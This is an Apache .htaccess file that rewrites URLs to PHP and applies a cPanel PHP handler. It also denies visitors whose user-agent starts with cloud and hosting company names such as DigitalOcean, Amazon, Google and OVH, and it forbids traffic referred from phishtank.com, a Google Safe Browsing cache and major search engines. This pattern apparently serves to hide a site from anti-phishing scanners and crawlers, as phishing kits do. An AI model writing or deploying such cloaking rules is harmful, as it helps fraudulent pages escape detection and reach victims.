RewriteEngine On
RewriteCond %{REQUEST_FILENAME}\.php -f
RewriteRule ^(.*)$ $1.php
RewriteBase /  
SetEnvIfNoCase User-Agent "^DigitalOcean, LLC" bad_user
SetEnvIfNoCase User-Agent "^Amazon Technologies Inc." bad_user
SetEnvIfNoCase User-Agent "^Amazon.com, Inc." bad_user
SetEnvIfNoCase User-Agent "^Amazon.com" bad_user
SetEnvIfNoCase User-Agent "^Google LLC" bad_user
SetEnvIfNoCase User-Agent "^FranTech Solutions" bad_user
SetEnvIfNoCase User-Agent "^Tier.Net Technologies LLC" bad_user
SetEnvIfNoCase User-Agent "^OVH SAS" bad_user
SetEnvIfNoCase User-Agent "^INCX Global, LLC" bad_user
SetEnvIfNoCase User-Agent "^GTT Communications Inc." bad_user
SetEnvIfNoCase User-Agent "^M247 LTD" bad_user
SetEnvIfNoCase User-Agent "^M247 EUROPE SRL" bad_user
SetEnvIfNoCase User-Agent "^M247 LTD FRANKFURT INFRASTRUCTURE" bad_user
SetEnvIfNoCase User-Agent "^Performive LLC" bad_user
SetEnvIfNoCase User-Agent "^Highwinds Network Group, Inc." bad_user
SetEnvIfNoCase User-Agent "^Network Transit Holdings Llc" bad_user
SetEnvIfNoCase User-Agent "^UK Dedicated Servers Limited" bad_user
Deny from env=bad_user

RewriteCond %{HTTP_REFERER} amazon\.com [NC,OR]
RewriteCond %{HTTP_REFERER} digitalocean\.com [NC,OR]
RewriteCond %{HTTP_REFERER} facebook\.com [NC,OR]
RewriteCond %{HTTP_REFERER} yahoo\.com [NC,OR]
RewriteCond %{HTTP_REFERER} bing\.com [NC,OR]
RewriteCond %{HTTP_REFERER} msn\.com [NC,OR]
RewriteCond %{HTTP_REFERER} aol\.com [NC,OR]
RewriteCond %{HTTP_REFERER} hotbot\.com [NC,OR]
RewriteCond %{HTTP_REFERER} phishtank\.com [NC,OR]
RewriteCond %{HTTP_REFERER} infoseek\.co\.jp [NC,OR]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?http://safebrowsing-cache.google.com/.*$ [NC]
RewriteRule ^(.*)$ – [F,L]

<FilesMatch "\.(ini|htaccess|inc|info|install|make|module|profile|test|po|sh|.*sql|theme|tpl(\.php)?|xtmpl)(~|\.sw[op]|\.bak|\.orig|\.save)?$|^(\.(?!well-known).*|Entries.*|Repository|Root|Tag|Template|composer\.(json|lock)|package\.(json|lock)|web\.config)$|^#.*#$|\.php(~|\.sw[op]|\.bak|\.orig\.save)$">
Order allow,deny
Deny from all
</FilesMatch>

# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php74” package as the default “PHP” programming language.
<IfModule mime_module>
  AddHandler application/x-httpd-ea-php74 .php .php7 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit
